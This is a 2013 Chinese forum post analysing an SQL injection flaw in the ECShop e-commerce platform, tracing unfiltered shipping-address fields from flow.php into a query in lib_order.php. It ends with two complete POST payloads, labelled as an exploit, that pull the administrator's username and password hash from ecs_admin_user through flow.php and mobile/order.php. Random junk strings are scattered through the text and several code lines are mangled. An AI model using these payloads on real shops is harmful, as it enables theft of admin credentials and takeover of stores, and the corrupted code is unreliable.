找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1966|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。3 b$ e- X: S: ?: Y, e, h! `' w
5 c6 R( G7 N# W4 N+ X- R. S
    漏洞关键文件:% H  b4 b  c/ G) [

( D/ U0 ^* v. W    /includes/lib_order.php, k: j& j0 z: H& _# L2 u* a
# J0 L6 R. }5 e+ {, L
    关键函数:
4 v8 c; L, ]- S
- R4 ]4 f+ z( {& } * W, x; C- T3 O0 K, `

( m! r* U. p* l" R6 ]3 N, n9 H01     function available_shipping_list($region_id_list) 9 @4 m+ N% Y4 P' K! H4 k4 e" M
2 j9 k- R- j0 ?6 {4 ]/ j) T9 ?. @3 D
02 {
9 ?( H( @% B8 i0 [
- r" U7 P# x+ O7 q! G) M$ a03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
4 Y5 [& x3 s( k: h! w
: }& G  X' b; K& F# o3 [, D8 B04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . * x$ x& t0 t+ k$ f
; a7 T& ?9 e1 ?1 Z/ f: e# ^
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . + S" V( l( u4 v% {* U8 j

; @9 y% F' P) e0 l9 ^% Y06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 2 e: p; m) }: a: d; b1 N
# B6 s+ D0 m) j2 ^
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. + e' ~* N1 ?+ l  Y3 f

8 [7 D. F  ^' O- ~2 [- D' O: @8 g08             'WHERE r.region_id ' . db_create_in($region_id_list) .
# ~) w$ F6 X' j% F" d- x
$ C6 X. G$ \5 w! n1 e9 F09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
6 T, y* @" g# ?; F. M; ^0 R
4 u9 I. g2 D  Q- t3 r+ M10   
2 l( @# g& d$ N3 s* F
$ h# l9 a+ Z0 \5 j1 t11     return $GLOBALS['db']->getAll($sql);
6 _! O) K% `" C7 N9 u$ X" s( d3 L& \- D* H# a8 J% x
12 }
/ c7 ^# W7 [0 l" t  x' B; H) l2 V+ M* t$ k7 _
显然对传入的参数没有任何过滤就带入了查询语句。/ z( c3 V2 n# t4 j1 K3 r( X
+ S. \: g4 n' H8 n0 m4 W
下面我们追踪这个函数在flow.php中:
+ ?* D8 v( ~6 g; {, A, C- a 第531行:   4 ]4 j  b! ^" S! Q
" ^: x' I. B% e7 ?; M9 z
1 $shipping_list     = available_shipping_list($region); 2 o" W& A1 _3 r9 |2 ~6 m# y, g, c

+ p; B* C) U: E; \  ]
- `, J- G6 `3 {0 F4 d  l, ]  \, V! u* j1 {0 K5 z, J# h

  u$ ~4 k+ Q( c4 N! k. x
) v0 F9 c3 U0 ?4 @8 [6 M- a+ O+ r/ a再对传入变量进行追踪:1 w6 C7 i# y8 y. _6 c* ~" ?
+ E* i! G, J: T7 ^6 ~4 g
第530行:    ) n7 p3 D9 p# A  U

5 T( J2 U9 b/ q, J6 D9 u( o1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ! [: R; f% c' M. d6 G! U
: h3 A+ A, ]9 w8 J

3 _6 j& @  t" C  B) {! o0 l3 A/ _7 L. E$ E+ [
( |  h) |' P5 g- m$ ^0 r( k4 R
6 w7 r7 m! {2 J6 V# s( ~
第473行:        
6 x  l) w% H" g  m; i6 k% m) z0 p
* N3 ]- h8 [  E1 d! f1 $consignee = get_consignee($_SESSION['user_id']); + Y1 {/ ]% C/ K; q4 w$ ^9 U# \

% c0 r4 c2 P* s; m到了一个关键函数:
9 A$ @4 X0 V9 ?/ Z+ R- Y- s% F5 |2 ]: }0 N, ~% ]
/includes/lib_order.php
- n+ Y; B5 B+ L1 M9 u- n8 y9 b' `) L% w3 @3 F. C0 d3 w
1 V, S+ a) I# o0 g

0 Y7 y( x- l/ v$ j5 }' F
! H7 h% u/ P% B9 w
( K  i8 c% l( q7 m01 function get_consignee($user_id)
7 D& w3 `8 x7 b5 W5 m7 ~7 d# K
) t: j& ?$ o/ o, I  S, {. ?9 ]02 { : S( {# ?# {+ u' P# b9 v% w

0 G2 W' q& Y( V03     if (isset($_SESSION['flow_consignee']))
, f. Y6 C1 q1 Z* c
  _# h( ^- g2 X4 B' I; U2 r8 n04     {
$ l: H+ q- j" R/ P( @! j  `  s
05         /* 如果存在session,则直接返回session中的收货人信息 */ + E& }7 o' M9 H8 N2 F; _3 E

. s8 ^! f4 }) O+ z) X06   3 E3 t+ p$ N% F0 L3 P4 U: o3 r

# I/ n# T$ I, L" x% I07         return $_SESSION['flow_consignee']; ! G( p2 Q, J, \- E- [

- s1 w* g7 j2 s  K. L4 U08     }
7 c( _# q0 ^; p% N$ u6 ~$ c9 L! O9 r" t+ ]# b3 M* Y' m- Q
09     else
, e( a* |6 [4 l. s6 @' n. h0 }& r5 |5 t7 Z6 `
10     {
: X9 H; [. Y5 I* o' i+ n0 i. ?, o" ^& U; Y
11         /* 如果不存在,则取得用户的默认收货人信息 */ # J8 Y9 \9 O1 g8 m2 k7 J

' L& w  |4 g( o12         $arr = array();
) J/ _4 o! {$ W* K8 E4 t5 i( T: V
13   
6 M5 M  }& F3 t( Z* ]. b4 x' \, O3 A& l) G( f
14         if ($user_id > 0)
, |' k/ z3 R. M1 g  i* f0 Z! E) x( w  A" V& I$ ~
15         { . E* y1 z7 s- A  D6 `- E# Z

/ Y. j; ?/ `1 x/ O4 m16             /* 取默认地址 */
+ L/ K: e/ ^5 T* X5 R- L7 S' w: c& \4 v; c
17             $sql = "SELECT ua.*".
3 I! x/ w9 a" \6 S0 S' h3 F
: D4 O; a! B; }9 Q18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 0 K- N. N9 K$ }' @7 [- J# O
0 A; o  }% |- ?4 @. [" @3 V4 f
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
2 O5 x, o) L8 N  N& F. @
7 l5 \( ~4 T5 z7 H) ~& F" ?20   
1 S! _# q" T. o3 }* R; n, B+ S4 ]3 H/ G; V( m
21             $arr = $GLOBALS['db']->getRow($sql);
4 h  ?: H% B2 s8 U. l9 r+ i
+ f; a; L& g! o22         }
8 {, L8 s' J3 ?3 e0 B
7 k! y! X' q' w- ?( j23   
2 ~0 Q. k9 T1 t$ R; S6 w. ]' J. Q9 I. X, u
24         return $arr;
8 Q, x- B$ K7 `& D' }
" \2 ]" z* M3 R1 J25     }
% w: ~8 ~- X- Y" O. p; v, M- b1 l0 j+ N$ h( w# |# |
26 }
5 o) F, U5 A# d2 ^2 F; G
9 J6 `0 l' z) h/ w# t- V显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
3 s# Y; ~. [- N9 ?; \5 N+ E8 P6 H  u' |# F9 X+ E& U7 Z% O* ]

( {% y9 X6 H- ]9 F. y7 w* _& U, x" \% Y- ^/ \6 ^# C' H
关键点:
& O$ l8 a. D. a2 ~2 ]" z, c5 h
, a0 c* [. _/ F7 q& Q# G+ x" P第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);  {1 J$ O* e& a8 {$ {: D
2 ~2 v/ q& C8 K5 Q3 G/ K- ]9 x8 B
这里对传入参数反转义存入$_SESSION中。
7 v$ y( n% K: q) K* A* y, X1 g. }( R5 M! z& f

% E- g3 N; P. D& R
; B: G3 P$ O9 p+ y% o& B$ V然后看下:
: i+ u& w- b+ [( c. L3 c
8 L& k0 V/ z6 V0 p5 f1 d( d6 a+ Q
2 K: Y& N5 R- }- A. U2 D7 [8 x+ B# ^- K" X+ d2 s: G4 `: S
   
# w* d/ n! s/ y; V$ p7 e% C" C& W- O; j/ {8 _/ K) g' o
01 $consignee = array(
8 a6 v+ S4 S& p0 ]7 [6 {3 D( s
2 C! ]1 G6 `9 }, v8 H02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
4 P/ h, c, K# [5 f- y7 v' |3 v1 i. D3 |( `  L
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 6 M3 M  g0 |% B; T5 w2 J6 G/ T

: j$ _& D3 X; Y04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 4 d# F: Q! ~7 v' z7 p

+ {1 r- P6 W3 u- G  q2 j; p7 `05         'province'      => empty($_POST['province'])   ? '' _POST['province'], " ?7 J7 u# j$ x% Z
, K- k6 w% |' U, p% g7 S0 d
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
' s1 m% Y9 K. L
7 s+ A4 v7 l: ]$ A+ M07         'district'      => empty($_POST['district'])   ? '' _POST['district'],   ~: o* j% ^$ W) J9 ~
+ I' [  K/ t4 w& s+ ]
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
4 Q' [2 F4 B! C& J
( r- ^0 k/ \( I  p% M+ E1 A  c09         'address'       => empty($_POST['address'])    ? '' _POST['address'], $ R7 y1 g+ |5 _5 x! b/ o" @7 G
: X2 e. L1 b( L: B: O9 B
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
& E# \$ d  T" D( G" k
! I9 D: n* ~0 K7 o11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), + Z( I5 ^/ J3 Q$ Y4 d% i3 _4 s
0 s6 R' F/ s7 C2 j# O
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), ' j5 b4 @+ }: [/ x8 K
. P* R$ P/ E' G# |
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 0 M# z9 M$ f7 i6 L# N+ {) g

$ z% Z- I0 c+ @1 W14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], ; L7 i  Y( F1 G! j
$ n% b) n* n3 l& F
15     );
2 j' t0 G1 ?" I8 g' Q; Y- a+ L" c' ^0 [& _( x- z0 ]
好了注入就这样出现了。3 o% m2 u9 U" w* g# {

# ^( O* l7 M, `' h7 \4 T, ^==================
) P% G5 Q/ M$ J+ U1 L- q
$ H7 U) h' h% b注入测试:* Q: t5 x' S8 D( R( n6 H
$ W) w* T$ T- `- u+ T0 \0 i
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
4 X, F6 Y$ m4 b! a  Z* n  ^, ?' @. J
测试程序:ECShop_V2.7.3_UTF8_release1106
0 n* P2 q5 K+ `+ l9 w2 X6 a) N- D% |4 n, @/ h* ?' x, D

& m* d0 ~, f2 f4 z$ w* H( u9 z' Z5 t. S: |* T- A; l5 x/ z) O
1.首先需要点击一个商品加入购物车
# h0 J- W0 d8 S, z/ j# ~# _" P. |' D$ x; o$ E" }
2.注册一个会员帐号
; c1 D! ^; J: K! _( x( M
+ o. t, ]+ }% }( g9 w' C- f3.post提交数据0 ~8 Y* n. f% @$ O$ g

4 |# d4 E. i4 P: k+ Q# \4 B" R
9 d( c. W4 l  b, ?6 f$ ^3 d* m: }8 l+ @- \5 D% _, a. ~- D* r! e
1 http://127.0.0.1/ecshop/flow.php
# ^3 a$ {3 Z5 i  i$ D( X& x, y) w) i7 s3 d
2   2 Y+ g( F& k0 Y( D

. D$ I* s) e  Y5 @0 e4 W3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
) ]9 a" U5 b  W6 K举一反三,我们根据这个漏洞我们可以继续深入挖掘:
! v) S& @2 |3 a9 g( r. c
0 M: \7 s  [0 |; a8 m我们搜寻关键函数function available_shipping_list()4 L$ a4 A, \" T$ [& l
: Y2 ]0 l+ J1 f' W" ]
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
3 K; p# A+ U" l  l- {: _. L5 Q1 V3 k8 j- T
利用exp:+ [' k5 @/ e- [5 ?1 J; `4 h- \

% H) J( h* ]+ Z& E& c) L1.点击一个商品,点击购买商标7 R- c/ C7 V9 r& o
8 @! a; D* f9 }% b; m1 B
2.登录会员帐号# ?5 g2 i1 v1 D! T

8 y7 i% J# a& H1 k: W- N+ m3.post提交:) v# s4 ~& y% Z$ @3 D1 z$ `3 r
* W2 n- A$ v! |1 L
http://127.0.0.1/ecshop/mobile/order.php  j4 l: D$ K; F1 }$ w( i7 u  N
0 ?) L# L. U  R/ E
8 \; T. D8 m& p) S5 Y2 o5 S

  _. }0 `4 N: ?6 w) T  a* U1 Z1 Zcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
3 V6 a3 L+ c$ H% n% a. L( \# C0 O  j# N. O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表